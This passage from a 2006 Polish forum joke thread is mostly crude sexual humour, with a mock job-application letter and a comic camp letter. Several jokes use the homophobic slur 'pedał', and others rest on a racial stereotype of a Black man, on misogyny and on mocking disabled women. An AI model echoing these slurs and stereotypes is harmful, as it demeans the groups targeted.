płynąć, gdyż akurat w tym miejscu zawsze roiło się od rekinów... A życie
było mu milsze niż sex... Pewnego dnia, gdy siedział sobie na brzegu,
obserwując kobiety z drugiej wyspy, podeszła do niego złota żabka.
- Cześć, mówi. Jestem złota żabka. Moge spełnic Twe jedno życzenie. Jedno
i tylko jedno. Zastanów sie dobrze, bo szansę masz jedyną i ostatnią.
Gość sie popatrzył i mówi:
- Jebnij mi tu proszę mostek!
Na to żabka stajac na tylnich łapkach, wyginając się do tyłu:
- Toś qrrwwwa wydumał....

malek - 10-08-2006, 09:56

Do pana Zdzicha Kwiatkowskiego, który od dłuższego czasu nie opłacał rachunków za gaz, przyszło upomnienie w dość ostrym tonie, podpisane przez kierownika działu windykacji Zakładu Gazowniczego. Pan Zdzich wziął kartkę papieru, usiadł przy biurku i odpisał co następuje:


Szanowny Panie,
pragnę Pana poinformować, iż raz na miesiąc gdy otrzymuję rentę, zbieram wszystkie rachunki dotyczące opłat za mieszkanie i resztę mediów.
Wrzucam je do dużego dzbana, mieszam i losuję trzy, z którymi idę na pocztę i opłacam.
Jeżeli pańska Instytucja pozwoli sobie choćby jeszcze raz przysłać do mnie list utrzymany w podobnym tonie, to jej faktury na rok zostaną wykluczone z loterii.


Z poważaniem
Zdzisław Kwiatkowski

Tomek Radomski - 10-08-2006, 13:07

Oferta pracy

Mój list dotyczy oferty pracy . Spełniam wszystkie wymagane punkty i jeszcze kilka więcej . Mam 24 lata. Mam 4 letnie doświadczenie w zawodzie. Od razu mówię , że mam gdzieś czy będę pracował w młodym i dynamicznym zespole, znanej i dynamicznie rozwijającej się firmie, czy będę miał możliwość rozwoju itp. "przyjemności". Stosunku z wojskiem nie odbyłem ponieważ nie mam ochoty zadawać się tam z jakimiś narkomanami, alkoholikami czy pedałami. Nie chcę stać się żulem (jak to po wojsku). Uciekam od niego kombinując z lewymi dokumentami czy dając w łapę znajomemu pułkownikowi z WKU. Interesuje mnie głównie jedno ile mi zapłacicie i czy otrzymam stałą umowę o pracę.

Moje oczekiwania co do zarobków "jak na polskie warunki" (ceny większe niż w europie zachodniej i na świecie - np. internet najdroższy w Europie, samochód BMW 318i droższy u nas o ok. 45 tys niż w Niemczech) jak również moje ambicje i zaangażowanie w pracę zaczynają się od trzech zer i piątki na początku. Netto oczywiście. Brutto mnie nie obchodzi, bo to wasza sprawa (podatki, ulgi itp.) Potrzebuję tyle aby móc zapewnić sobie chociaż przyzwoity poziom życia na podstawowym poziomie.

Oto uzasadnienie - lista wydatków miesięcznych (jestem ze Świdnicy):
-rata za mieszkanie (kawalerka - 35m2) - 2000 miesięcznie
-rachunek za internet TPSA- 300 PLN miesięcznie
-opłaty mieszkaniowe (czynsz, energia, gaz, woda, TV) - 750 miesięcznie
-kino raz w tygodniu z osobą towarzyszącą - 200 miesięcznie
-karnet na basen raz w tygodniu 1h - 80 miesięcznie
- do tego dochodzi jedzenie (więcej niż na poziomie chleba i wody), wyjazd na wczasy raz w roku (bieszczady - więc żaden luksus), ubrania, oraz jakieś okazyjne zakupy na raty (np. aparat foto 2500), samochód na raty, oraz jego utrzymanie na poziomie podstawowym (paliwo,opłaty, przeglądy itp.)

Oczywiście oczekuję również płaconych na czas wszystkich składek ZUS, oraz umowy o pracę od ręki w oryginale z możliwością wypowiedzenia z terminem 3 miesięcznym , oraz gwarantowaną odprawą na wpadek zwolnienia w wysokości 6-krotnego wynagrodzenia. Praca maksymalnie 8 godzin dziennie, żebym miał czas na kino, basen itp. Sobota maksymalnie 4 godziny. Jako że jestem katolikiem niedziela wolna każda (nie wolno pracować w niedzielę), Święta Wielkanocne , Bożego Narodzenia i inne ważne święta uznane ustawowo wolne. Wolne również dni np. na przyjazd Papieża.

Jeśli jesteście w stanie zaoferować mi takie podstawowe warunki to mogę rozważyć propozycję pracy u was. A te teksty o młodych dynamicznych zespołach itp. zostawcie dla zaszokowanych mośków, którzy nie wiedzą o co chodzi i są w szoku gdy zobaczą prezesa w garniturze i są w stanie dać prezesowi ... wszystko co chce, żeby tylko zdobyć pracę. To samo z tekstami o tym że teraz jest trudna sytuacja na rynku i że na moje miejsce jest 100 innych osób. Jak chcecie mieć w waszej firmie bezmózgie, zniewolone Yeti to proszę bardzo - demokracja - wolno wam. Ja jestem szczęśliwym posiadaczem fajnego mózgu z IQ ponad 150, świetnie rozwiniętą percepcją, oraz zdolnością logicznego i analitycznego myślenia, mam swoją godność i nie muszę robić za tanią siłę roboczą. Jak coś to przejdę na pracę na ... własny rachunek. To też dobrze mi wychodzi. Jak na razie nikt się nie poskarżył - 0 reklamacji.

Skoro jesteście taką wielką i dynamicznie rozwijającą się firmą to nie powinniście mieć problemów ze spełnieniem moich skromnych, ale podstawowo realnych "jak na polskie warunki" oczekiwań. Jak się będziecie zainteresowani na poważnie to przyślę wam swoje CV. Na razie nie jest wam potrzebne - a bazy danych (pewnie Access`a, albo Oracle`a) nie chcę wam zaśmiecać. Wolę swoje dane wykorzystywać tylko gdy tego chcę, a nie żeby ktoś nimi handlował. Poza tym po co zabierać komuś dodatkowy czas pracy jeśli moja kandydatura zostanie odrzucona. A do tego poczta tak wolno chodzi, a telefon kosztuje więc ograniczam się ekonomicznie tak jak to możliwe.

--------------------------------------------------------------------------------

Pechowcy

Przychodzi Młody Asystent ds. Personalnych (Rekrutacji) do swojego szefa z pokaźnym plikiem dokumentów. - Zrobiłem wstępną selekcję. To są dokumenty osób, z którymi warto się spotkać, spełniają wszystkie kryteria. Szef bierze plik dokumentów, pewną ręką odmierza połowę i wrzuca do kosza. Drugą część oddaje podwładnemu: - Z tymi ludźmi się spotkamy. Oniemiały asystent pyta: - Jak to?... Ależ oni wszyscy spełniają kryteria! - Prooooszę Paaaaana... - przerywa szef, czy chce pan pracować z ludźmi, którzy mają pecha?

---------------------------------------------------------------------------------

Na komisariat doprowadzono trzech mężczyzn, oskarżonych o wywołanie bójki w tramwaju. Komisarz przesłuchuje jednego po drugim.
Pierwszy zeznaje Murzyn:
- Moja nic nie rozumieć. Moja jechać sobie spokojnie tramwajem, i nagle mężczyzna stojąca koło mnie dać mi pięścią w buzię.
Drugi zeznaje student:
- Jechałem sobie tramwajem na uczelnię. Nagle widzę: wsiada Murzyn i staje koło mnie. No nic, Murzyn jak Murzyn, jadę sobie dalej. I wtedy Murzyn stanął mi na stopie. Myślę sobie: Murzynowi zwracać uwagę to tak jakoś głupio, pewnie nie za dobrze rozumie język polski, może sam zejdzie. Dam mu minutę. Odczekałem z zegarkiem w ręku minutę, a ten mi dalej stoi na nodze. No to dałem mu jeszcze minutę. Patrzę, kolejna minuta mija, a ten jak gdyby nigdy nic stoi dalej na mojej stopie. Wytrzymałem tak cztery kolejne minuty, a potem tak się wkurzyłem, że po prostu dałem mu w ryj.
Potem zeznaje trzeci facet:
- Jadę sobie tramwajem. Patrzę, przede mną stoją koło siebie: Murzyn i student. I ten student tak patrzy - to na zegarek, to na Murzyna. I znowu: to na zegarek, to na Murzyna. I nagle spojrzał na zegarek i jak Murzynowi nie da w mordę! No to ja pomyślałem, że w całej Polsce się zaczęło.

Efraim Ryba - 11-08-2006, 10:39

Małżeństwo świętuje 25. rocznicę ślubu.
- Muszę ci kochanie coś wyznać - mówi mąż. - Jestem daltonistą.
- I ja chciałabym coś ci wyznać - mówi żona. - Nie jestem z Rzeszowa, jestem z Mozambiku.

Spaniel - 13-08-2006, 12:49

Kłótnia w lózku:
- To ty pierwsza zaczelas!
- Tak, Bo ty pierwszy skonczyles!

------------------------------------------------------------
- I jaki byl?
- To bylo najwspanialsze 20 sekund w moim zyciu!

-------------------------------------------------------------
- A mówilas, ze bylas dziewica!!!
- No Bo bylam, zapytaj Mariana!

---------------------------------------------------------------
- Wiesz, Mietek powiedzial, ze bedzie mnie kochal platonicznie. Nie
- Wiesz, co to znaczy??
- Nie, ale mysle, ze swinstwa jakies

---------------------------------------------------------------
Nastolatka wraca and ranem do domu. Mama jej otwiera, a ona krecac
Majtkami na palcu mówi:
- Mamo, nie wiem co to za sport, ale to bedzie moje hobby.

---------------------------------------------------------------
....jedna reka trzymam Twoja fotografie, a druga mysle o Tobie...

-----------------------------------------------
- A z pocalunkiem póki co zaczekamy - powiedzial piekny ksiaze zlazac
Ze Spiacej Królewny.

----------------------------------------------------------
- Niektóre kobiety nie szczytuja - w czym tkwi problem?
- Otóz to, problem tkwi co prawda tam gdzie powinien, ale trzeba go
Jeszcze zdecydowanie poruszac!

--------------------------------
No I co ci powiedzial lekarz?
- Ze powinnam miec dwadziescia stosunków miesiecznie.
- Dobra. Dwa razy mozesz liczyc na mnie.

---------------------------------------------------------------
- Manius, wstawaj, pora do roboty... Wstawaj...No, Manius...
Nie - Manius - CALY wstawaj!

--------------------------------------------------------------
Malzonkowie udaja sie wieczorem do lózka, on do razu zabiera sie do
Dziela
- Nie dzisiaj kochanie, glowa mnie boli
- Na szczescie dzis twoja glowa nie jest MI do niczego potrzebna

---------------------------------------------------------------
Facet w sexshopie
- Prosze MI pokazac ta dmuchana lale
- Prosze bardzo
- Kiedy ja wyprodukowano?
- W styczniu 2005
- E, to Koziorozec.Nie pasujemy do siebie.

----------------------------------------------------------
- Nie chcesz MI chyba powiedziec, ze spalas z moim mezem?
- Nie
- Nie spalas?
- Nie chce powiedziec...

----------------------------------------------
- Kolezanka pije ?
- Nie
- Dlaczego?
- Mam problemy z nogami
- Uginaja sie?
- Nie, rozkladaja ...

-------------------------------------------------
Sekretarka odbiera telefon- Dyrektor jest?
- Wlasnie wychodzi, oooh.. Wchodzi... Oooh... Wychodzi...
Wchodzi...

--------------------------------------------------------
Kumpel do kumpla:
- Slyszalem ze masz nowa dziewczyne?
- Noooooo
- A fajna chociaz w lózku?
- W sumie to nie wiem. Jedni mówia ze fajna inni ze nie fajna.....

malek - 14-08-2006, 10:01

Prezydent z żoną na spotkaniu u Juszczenki.
Obiad.
Juszczenko do I Damy RP
- Ciebie też podtruwali ? czym

--------------------------------------------

Kilka dni przed ślubem narzeczony przychodzi do księdza, wręcza mu 200 złotych i mówi:
- Proszę księdza, mam prośbę. Proszę podczas dyktowania mi przysięgi małżeńskiej opuścić słowa: Ślubuję ci wierność, miłość i uczciwość małżeńska oraz że cię nie opuszczę aż do śmierci. Dziękuję z góry...
Przyszedł dzień ślubu. Pan młody pewny siebie staniał przed ołtarzem i wszystko szło dobrze do momentu składania przysięgi małżeńskiej.
Ksiądz zapytał bowiem:
- Czy ślubujesz bezgraniczne oddanie swojej żonie, posłuszeństwo wobec każdego jej rozkazu, przynoszenie jej śniadania do łóżka do końca życia? Czy klniesz się na Boga, że nigdy nie spojrzysz na inna kobietę i nawet nie przyjdzie ci do głowy, że inne kobiety żyją na świecie?
Pan młody, ciężko przestraszony i zaszokowany, wybąkał:
- Ta... ta... tak...
Po ceremonii wściekły przybiegł do księdza i pyta, co to miało znaczyć.
Ksiądz oddaje mu 200 złotych i odpowiada spokojnie:
- Po prostu przebiła twoja ofertę.

-------------------------------------------------------

Three guys and a lady were sitting at the bar talking about their
professions.

The first guy says " I'm a Y.U.P.P.I.E,
you know... Young, Urban, Professional, Peaceful, Intelligent, Ecologist."

The second guy says " I'm a D.I.N.K.Y.,
you know... Double Income, No Kids Yet."

The third guy says, " I'm a R.U.B,
you know... Rich, Urban, Biker."

They turn to the woman and ask her, " What are you? "
She replies: " I'm a WIFE,
you know... Wash, Iron, Fuck, Etc."

-------------------------------------------------------------

Żona programisty:
- Ciągle jesteś zajęty i siedzisz przy komputerze. Żebym choć miała dziecko...
- Kładź się, będziemy instalować...
-----------------------------------------------------------------

W czasie pomarańczowej rewolucji Putin dzwoni do sztabu Juszczenki i mówi,
umożliwimy wam przejęcie władzy, ale musicie nam dać Lwów i Kijów.
W sztabie lekka konsternacja, po chwili odpowiadają:
- Ok, damy wam kijów, ale lwów musicie sobie sami nałapać.

bann - 14-08-2006, 19:23

Plemię Czuczukenów wypowiedziało wojnę Chinom. Generał chiński zwołuje od razu generałów, rozkładają mapy taktyczne i szukają terenów wroga. Szukają, ale coś nie widać. Dali więc w większej skali mapy. Patrzą, patrzą - JEST! - mała kropka z napisem "Czuczukeni". Ładuje się wojsko chińskie w sprzęt bojowy i jedzie w to miejsce. Faktycznie jest tu tabliczka: "Terytorium Czuczukenów", ale dalej jest wzgórze, a na nim 2 namioty i 3 ludzi siedzi. Podchodzi więc delegat wojsk chińskich i się pyta:
- Czy to wy jesteście czuczukeni?
- Tak.
- I to Wy wypowiedzieliście nam - Chinom - wojnę?
- Tak.
- Ale Was jest tylko trzech, a nas cały miliard.
- ?! KURDE! Jak my Was wszystkich pochowamy!

Tomek Radomski - 17-08-2006, 14:21

W kolejce stoją 6-letni syn i ojciec. Przed nimi stoi gruba baba - tak minimum ze 150 kg. Synek mówi do ojca:
- Tato, patrz jaka ta baba jest ogrooomnaaaa...
Ojciec się zaczerwienił, głupio mu się zrobiło i mówi:
- Synku, nie można tak mówić o ludziach.
- Ale ona jest taka gruuubaa... nigdy nie widziałem takiej grubej baby.
- Dobrze, ale to niegrzecznie w ten sposób mówić o innych.
W tym momencie grubej babie przy pasku odzywa się komórka:
- Pi, pi, pi, pi...
A synek z przerażeniem:
- Tato! Uważaj! Będzie cofać!

-------------------------------------------------------

Rozmowa dwóch kumpli:
- Słyszałeś, że Stefana wczoraj dresiarze 2 razy pobili?
- Nie, a dlaczego?
- Pierwszy raz dostał bo nie chciał oddać komórki. Ale w końcu oddał.
- A drugi raz?
- To był Sagem.

bann - 17-08-2006, 19:26

Miłościwie nam panujący niemiecki papież zaniemógł był. Sprowadzono najlepszego lekarza, który stwierdził ostre zapalenie tego co ma każdy chłop.
- Mógłbym go naszpikować antybiotykami, bo sytuacja wydaje się być groźna... – stwierdził lekarz - ...ale najlepszy w takim przypadku jest ostry seks! Tylko on daje 100% -wą szansę wyzdrowiemia!
Oniemiali kardynałowie debatują godzinami i w końcu decydują się przekonać papieża do tej niekonwencjonalnej metody. Bo kościół..., bo wierni..., bo ...cel uświęca środki.
O dziwo, papież wykazał zrozumienie wagi problemu i przystał na ich propozycję. Postawił jednak 4 warunki:

1. Ona musi być ślepa, aby nie wiedziała z kim ma do czynienia
2. Ona musi być głuchoniema, aby nie powiedziała z kim miała do czynienia
3. Ona musi byś psychicznie chora, aby jeśli już powie, nikt jej nie uwierzył

-A ten 4 warunek ?– dopytują się kardynałowie.
Papież nachylając się do nich szepcze:
- Duża trójeczka...

Spaniel - 17-08-2006, 20:48

LIST Z WAKACJI


Drodzy Rodzice!
Druh drużynowy powiedział, że mamy wszyscy napisać do rodziców,
ponieważ najprawdopodobniej widzieliście powódź w TV i bardzo
się martwicie.
Nic nam nie jest. Woda porwała tylko jeden namiot i dwa
śpiwory. Na szczęście żaden z nas się nie utopił,
ponieważ kiedy się to zdarzyło, byliśmy wszyscy w górach i
szukaliśmy Krzyśka, który zaginął. Zadzwońcie, proszę, do matki
Krzyśka i powiedzcie jej, że już wszystko w porządku - znalazł się.
Krzysiek sam nie może do niej napisać, bo połamał obie ręce,
gdy spadał ze skały.

Na poszukiwania Krzyśka wyjechaliśmy pick-upem drużynowego.
To było niesamowite. Nigdy byśmy nie znaleźli Krzyśka w tych
ciemnościach, gdyby nie błyskawice. Druh drużynowy strasznie się
wkurzył, że Krzychu poszedł w góry, nikomu nic nie mówiąc.
Krzysiek powiedział mu, że mówił mu przecież, ale to było podczas
pożaru, więc drużynowy najprawdopodobniej go nie usłyszał.
Wiedzieliście, że jeśli się wrzuci do ognia butelkę z benzyną - to
może ona wybuchnąć?! Mokry las nie spłonął, ale jeden z
naszych namiotów - tak. Zwęgliło się także trochę naszych
ubrań. No i Stefan będzie wyglądał tak niesamowicie,
dopóki nie odrosną mu włosy.
W domu będziemy w sobotę - jeśli do tego czasu drużynowy naprawi
samochód.
Ten wypadek to naprawdę nie była jego wina. Hamulce
pracowały OK, kiedy ruszaliśmy. Druh powiedział, że tak stary
samochód miał prawo się popsuć. Prawdopodobnie dlatego, że był tak
wiekowy, nikt nie chciał go ubezpieczyć. Ale w sumie my
uważamy, że tenwóz jest całkiem cool. Tak jak i druh drużynowy. Nie
robi nam wymówek, jak nabrudzimy w aucie, a kiedy w kabinie
robi się gorąco, druh pozwala nam jechać na pace. Trudno, by nie
było gorąco, skoro jedziemy w 10 osób. Ale odkąd patrol policji
zatrzymał nas na autostradzie, już nie wsiadamy na pakę. Czy
wspomniałem już, że druh jest dobrym kierowcą? Przed tym wypadkiem
uczył Ryśka jeździć - ale spoko, na szybszą jazdę pozwalał mu
tylko na górskich drogach, na których prawie nie ma ruchu. Od
czasu do czasu przejeżdżają tam tylko ciężarówki.
Dzisiaj rano wszyscy chłopacy skakali do wody ze skał i pływali w
jeziorze. Druh nie pozwolił mi, ponieważ nie umiem pływać, no
i Krzyśkowi z powodu tych jego rąk; dlatego my dwaj pływaliśmy po
jeziorze kajakiem. Fajne jezioro. I głębokie. Chociaż niektóre
czubki drzew wystają ponad lustro wody. Druh nie jest
upierdliwy jak inni drużynowi. Nawet nam nie marudził, że nie ubraliśmy
kamizelek ratunkowych. Spędza teraz dużo czasu naprawiając samochód,
więc staramy się nie zawracać mu głowy głupotami.
Zdobyliśmy już odznaki pierwszej pomocy. Kiedy Dawid nurkował w
jeziorze i uciął sobie rękę, samodzielnie zakładaliśmy mu opaskę
uciskową. Ja i Marek zwymiotowaliśmy wtedy, ale druh
powiedział, że to prawdopodobnie było tylko zatrucie pokarmowe po
zjedzeniu resztek kurczaka. Druh powiedział, że tak samo
wymiotował po jedzeniu, jakie jadał w więzieniu. Jesteśmy bardzo
zadowoleni, że on wyszedł i został naszym drużynowym. Druh
mówił, że teraz jest już dużo mądrzejszy i że zrobiłby TO dużo lepiej
niż wtedy. Nie bardzo wiem, o co chodzi.

Muszę już kończyć. Idziemy do miasta, aby wysłać listy i kupić
naboje.

Nie martwcie się o mnie. Jest OK.
Kochający Filip

Efraim Ryba - 18-08-2006, 12:56

Zaczerpnięte z funiastych:

Mam psa labradora i wlasnie kupowalem worek Puriny w supermarkecie czekajac w kolejce do kasy.

Kobieta za mna zapytala czy mam psa (!)

Bez zastanowienia odpowiedzialem, ze nie i wlasnie ponownie rozpoczynam diete Puriny.
Chociaz nie powinienem, bo ostatnio wyladowalem w szpitalu. Ale zdolalem zgubic ponad 20 kg
zanim obudzilem sie na oddziale intensywnej terapii z rurami w wiekszosci moich otworow i
z iglami w obydwu ramionach.
Powiedzialem jej, ze jest to w sumie idealna dieta i nalezy miec zawsze wyladowane kieszenie
brylkami Puriny i zjadac jedna lub dwie gdy poczujesz glod. Jest to zywnosc zawierajaca wszystkie
skladniki niezbedne do zycia i mam zamiar znowy ja zastosowac. Musze zaznaczyc, ze teraz
wszyscy w kolejce byli oczarowani moja opowiescia, zwlaszcza wysoki facet za ta kobieta.

Zszokowana, zapytala, czy dlatego wyladowalem na intensywnej terapii, bo zatrulem sie
pozywieniem dla psow.

Powiedzialem jej, ze nie - ale usiadlem na ulicy, by wylizac sobie jajka i samochod mnie
uderzyl.

Myslalem, ze trzeba bedzie pomoc facetowi za nia wyjsc ze sklepu, bo zataczal sie ze smiechu...

Habibi - 19-08-2006, 01:56

Facet pedzi BMW5 jakies 230km/h a zanim radiowoz na sygnale.Po 30min poscigu policjant mowi do zatrzymanego kierowcy:Jezeli poda mi Pan powod jakiego jeszcze nie slyszylem dlaczego jechal Pan z taka szybkoscia to obedzie sie bez mandatu.
Kierowca nato:Hmm,zaczne od poczatku przed 5 dniami zona odeszla odemnie.Zucila mnie dla policjanta,widzac w lusterku radiowoz pomyslalem ze to ten policjant chce mi
zone zwrocic.

CZACHO - 19-08-2006, 08:25

ŻYCIOWE PRAWDY:


1. Wszyscy powinni lokować pieniądze w alkoholu - jest zdecydowanie
najlepiej oprocentowany.


2. Sraczka jest paradoksem, Bo często i rzadko.


3. Życie jest jak transwestyta - niby pięknie, ładnie... A tu a fee...


4. Pesymista widzi ciemny tunel, Optymista widzi światełko w tunelu,
Realista widzi pociąg, a maszynista widzi 3 debili na torach.


5. Telewizja kłamie, prasa kłamie, radio kłamie, ksiądz kłamie, cyganka
prawdę ci powie!


6. "Dziś została spacyfikowana przez policję manifestacja masochistów.
Jeszcze nigdy obie strony nie miały tyle frajdy z pałowania"

marcinlisek - 19-08-2006, 13:07

Kobieta z rana dzwoni do swojego szefa i mówi mu, że nie przyjdzie do pracy, bo jest chora.
- A co pani jest? - pyta szef.
- Mam jaskrę analną.
- Ze co!? Czym to sę objawia??
- Po prostu nie widzę dzis możliwosci przytoczenia swojej dupy do pracy...

xlite - 19-08-2006, 15:13
Temat postu: Dzienniki początkującego płetwonurka:)
Hehehe polecam ciekawa lekturke:)

http://www.joemonster.org/article.php?sid=6275

http://www.joemonster.org/article.php?sid=6295

Pisklak - 21-08-2006, 11:55

http://opetana.lapa.chacha.pl/

http://internet.sex.chacha.pl/

Pacjent przychodzi do psychoterapeuty:
- Mam ostatnimi czasy, panie doktorze, problemy z postrzeganiem
swiata.
Doktor wyciaga z szuflady reprodukcje obrazu "Trzej bohaterowie" i
pyta:
- Co Pan tu widzi?
- Widze trzech pedalów.
- Dlaczego?
- No jak to dlaczego? Stoi trzech mezczyzn, zadnej kobiety, nie
moze byc inaczej - to pedaly.
Z drugiej szuflady doktor wyciaga obraz lecacego klucza zurawi.
- A co teraz Pan widzi? - pyta.
- Klucz lecacych pedalów.
- Dlaczego?
- No jak to dlaczego? Leca a kazdy kazdemu w dupe zaglada...
Doktor zafrasowany chowa obrazki i pyta:
- A jak mnie Pan postrzega?
- Wedlug mnie, Pan tez pedal!
- Dlaczego?
- No jak to dlaczego? Siedzi sobie Pan tutaj, obrazki pedalów
oglada...

agrest - 22-08-2006, 16:09

U lekarza:
- Pali pan?
- Nie.
- Pije pan?
- Tez nie!
- Co sie pan tak cieszy... I tak cos znajde...

[ Dodano: 22-08-2006, 16:47 ]
Tyle sie zlego naczytalem na temat alkoholu, ze wreszcie sobie powiedzialem, czas raz na zawsze z tym skonczyc! - mówi Zbyszek do kolegi.
-Z piciem?
-Nie, z czytaniem.

Efraim Ryba - 23-08-2006, 07:45

Nastoletnie Żółwie Mutanty Ninja są oparte na prawdziwej historii:
Chuck Norris połknął kiedyś żółwia w całości, a kiedy go wys*ał,
żółw miał dwa metry wysokości i znał karate.

amalcz - 24-08-2006, 08:16

Leci sobie orzeł. Macha majestatycznie skrzydłami.

Rozkoszuje się pięknem przyrody. Nagle spostrzega w dole zająca.
śmiga za szarakiem.... Szuuuu...
A tam okazuje się, że zając cały we krwi. Żal się orłowi zrobiło zajączka:
- Co ci się stało mój mały?
- Słonica mnie użyła, jako tamponu.
- Żesz, kurffa...
I odleciał orzeł, majestatycznie machając skrzydłami, kontemplując naturę.
Następnego dnia biegnie sobie zajączek. Już czyściutki, bielutki, mięciutki. Strzyże uszkami, przyrodę śledzi. Patrzy, a tam w górze leci orzeł.
Cały we krwi umazany.
- Co ci się stało o wielki ptaku?
- Co się stało? Co się kurffa, stało? Szukam tego skurwysyna, co powiedział słonicy, że podpaska ze skrzydełkami lepsza jest od tamponu!

ol_marcino - 30-08-2006, 22:56

Lekcja poglądowa w szkole podstawowej. Pani wychowawczyni pyta dzieci jakie znają nowości farmaceutyczne ostatnich miesiecy.
Oczywiście Jasio jako pierwszy podnosi rączke i krzyczy:
- Ja, ja.
Pani pyta:
- Jasiu powiedz nam jakie znasz najnowsze lekarstwa.
- Viagra, proszę pani.
Zaskoczona pani, nie wiedząc co powiedzieć upewnia się czy aby dobrze usłyszała. Jaś potwierdza, pani pyta dalej:
- A na co Jasiu Twoim zdaniem ta Viagra jest?
- Na sraczkę proszę Pani - odpowiada Jaś.
- Jak to Jasiu na sraczkę - jesteś pewien? - pyta zaskoczona pani.
- Tak proszę Pani. Co wieczór moja mama mówi do taty:
Zażyj Viagrę może ci to gówno stwardnieje.

Efraim Ryba - 31-08-2006, 14:19

Bardzo nieśmiały, niski człowieczek wszedł do baru
dla motocyklistów na Bronksie. Chrząknął znacząco i
spytał:
- Który z panów jest właścicielem dobermana, przywiązanego
do parkometru na zewnątrz?
Poruszył się jeden z mocniej przypakowanych kolesi, w skórze,
z włosami wystającymi z każdej możliwej szczeliny,
odwrócił się powoli na stołku, spojrzał z góry na małego
kolesia i mówi:
- To mój pies i co?
- Cóż, - zapiszczał mały, bardzo zdenerwowany - obawiam się,
że mój pies właśnie zabił pańskiego.
- Co?! - zagrzmiał wielki z niedowierzaniem - To jakiego
ty masz psa?
- Szanowny panie, - odpowiedział mały - to czterotygodniowy
szczeniak.
- Do cholery! - wrzasnął wielki facet - Jak mały szczeniak
może zabić dobermana?
- Szanowny panie, on się nim zadławił.

[ Dodano: Pią 01 Wrz, 2006 ]
Koniec lat 60-ych, Moskwa, zima, godzina 5 rano. Pusta, nieoświetlona
ulica, do pracy w fabryce szybkim krokiem szła Natasza Iwanowna. Gdy
przechodziła koło jednej z wielu odrapanych, ciemnych kamienic z bramy
wybiegło czterech chłopaków. Przewrócili ją na ziemię, zadarli kieckę,
ściągnęli ciepłe barchanowe majty i szybko uciekli. Ponieważ brygada
Nataszy brała udział w konkursie na najlepszy socjalistyczny kolektyw
robotniczy i wszystkie spóźnienia błly bardzo źle widziane, kobieta nie
poszła na milicję, żeby zawiadomić o zajściu, tylko otrzepała się ze
śniegu i jeszcze szybciej poszła w stronę swojego zakładu pracy.
Przepracowała sumiennie całą dwunastogodzinną zmianę i po 17, zmęczona
udała się w drogę powrotną do domu. Gdy szła ośnieżoną ciemną ulicą
wydychając z wysiłku kłęby pary, z jednej z bram wypadło znowu czterech
chłopaków. Przewrócili ją na ziemię, zadarli kieckę i na dupę naciągnęli
jej grube barchanowe majtochy. Najwyższy z nich wcisnął jej jeszcze w rekę
kawałek kartki i tak jak rano uciekli. Natasza Iwanowna przestraszona
wstała, otrzepała się ze śniegu i pędem pobiegła w stronę domu. Jednak,
gdy przebiegała koło jednej z nielicznych latarni zerknęła na kartkę. Było
tam napisane niezgrabnymi literami: "Były brudne. Teraz są czyste.
Timur i jego drużyna."

ol_marcino - 01-09-2006, 22:06

Facet lekko na bani wraca do domu. Żona od razu: ty pijaku, tylko wódka Ci w głowie... Facet sięga do kieszeni, wyciąga kartkę i mówi:
- "OK, przyniosłem test, zara zobaczymy, jaka ty obeznana i kulturalna jesteś!"
Żona:
- "Zobaczymy, czytaj."
- "Taaak, pytanie pierwsze. Podaj jakieś dwie waluty."
- "Ha, no chociażby dolar i euro."
- "Dobra, podaj dwa typy środków antykoncepcyjnych."
- "Jejku, mogę Ci co najmniej 10 podać."
- "Wierzę. Pytanie trzecie. Podaj mi 2 rzeki w Islandii... Milczysz? Ha, wiedziałem! Oprócz szmalu i seksu, żadnych zainteresowań!" :22:

MIDZIK - 02-09-2006, 02:51

Pewien pan zapragnął kupić swojej ukochanej urodzinowy prezent a że byli ze sobą dopiero od niedawna po dokładnym zastanowieniu postanowił kupić jej parę rękawiczek - romantyczne i nie za osobiste. W towarzystwie młodszej siostry swojej ukochanej poszedł do sklepu i kupił rzeczone rękawiczki. Siostra natomiast w tym samym czasie kupiła sobie parę majtek. Podczas pakowania ekspendient zamienił te dwa zakupy tak że siostra dostała rękawiczki a ukochana majtki. Bez sprawdzania co jest gdzie wysłał prezent do swojej sympatii dołączając następujacy list:
Kochanie ten prezent wybrałem dla Ciebie własnie taki ponieważ zauważyłem że nie nosisz żadnych kiedy wychodzimy wieczorem. Gdybym miał kupić dla Twojej siostry to wybrałbym długie z guziczkami ale ona już nosi takie krótkie i łatwe do zdejmowania. Te są w delikatnym odcieniu jednak ekspedientka która mi je sprzedała pokazała mi swoją parę którą nosi już trzy tygodnie i wcale nie były poplamione czy zabrudzone. Przymierzyłem na niej te dla Ciebie i wyglądała naprawdę elegancko. Chciałbym jako pierwszy je na Ciebie włożyć tak by żadne inne ręce nie dotykały ich przed tym jak się z Tobą zobaczę. Kiedy je będziesz zdejmowac nie zapomnij je trochę nadmuchać przed odłożeniem albowiem całkiem naturalnie będą po noszeniu trochę wilgotne. I pomyśl tylko jak często będę je całować w tym roku. Mam nadzieję że będziesz je miała na sobie w piątkowy wieczór. Z całą moją miłoscią
PS. Ostatnio w modzie jest noszenie ich odrobinę wywinięte tak by widać było trochę futerka.





Spotykają się dwie pchły. Jedna z nich trzęsie się i jest strasznie przemarznięta.
- A czemu się tak trzęsiesz?
- A bo przyjechałam tu w wąsach motocyklisty i strasznie mnie przewiało. - To na drugi raz zrób tak jak ja: Skaczę sobie na lotnisko, upatruję jakąś stewardessę, wskakuję jej pod spódniczkę, wchodzę pod majteczki i całą podróż śpię w przytulnym i ciepłym "lasku".
- OK tak zrobię następnym razem.
Spotykają się na drugi rok i sytuacja się powtarza, tamtą pchłę trzepie znów z zimna.
- I co nie skorzystałaś z moich rad?
- Zrobiłam dokładnie tak jak mówiłaś, poskakałam na lotnisko, upatrzyłam stewardessę, wskoczyłam jej pod spódniczkę pod majteczki znalazłam ciepły przytulny lasek i zasnęłam. A jak się obudziłam byłam w wąsach motocyklisty.

bann - 02-09-2006, 12:20

Przed knajpę w lesie zajeżdża karetka. Sanitariusze najpierw wyciągają wózek, rozkladają poczym sadzają na nim zajączka. W knajpie sensacja, wszyscy wybiegają pomóc kalece.
- Dżizas, zając co się stało, toż została ci tylko lewa rączka oa gdzie prawa, a gdzie nóżki, co to było wypadek jakiś sztraszny ?!
Zając milczy. Dopiero jak wepchali wózek wraz z nim do środka i postawili przy szynkwasie, dopiero jak zajczik dwie sety obsmyczył, cichutko z łzami w oczach wyszeptał:
- Po pijaku założyłem się z niedźwiedziem o rękę, że mi nóg z d.py nie wyrwie..

========

Przychodzi facio do USC i mówi, że nazwisko chciałby zmienić, bo mu się to co ma nie podoba.
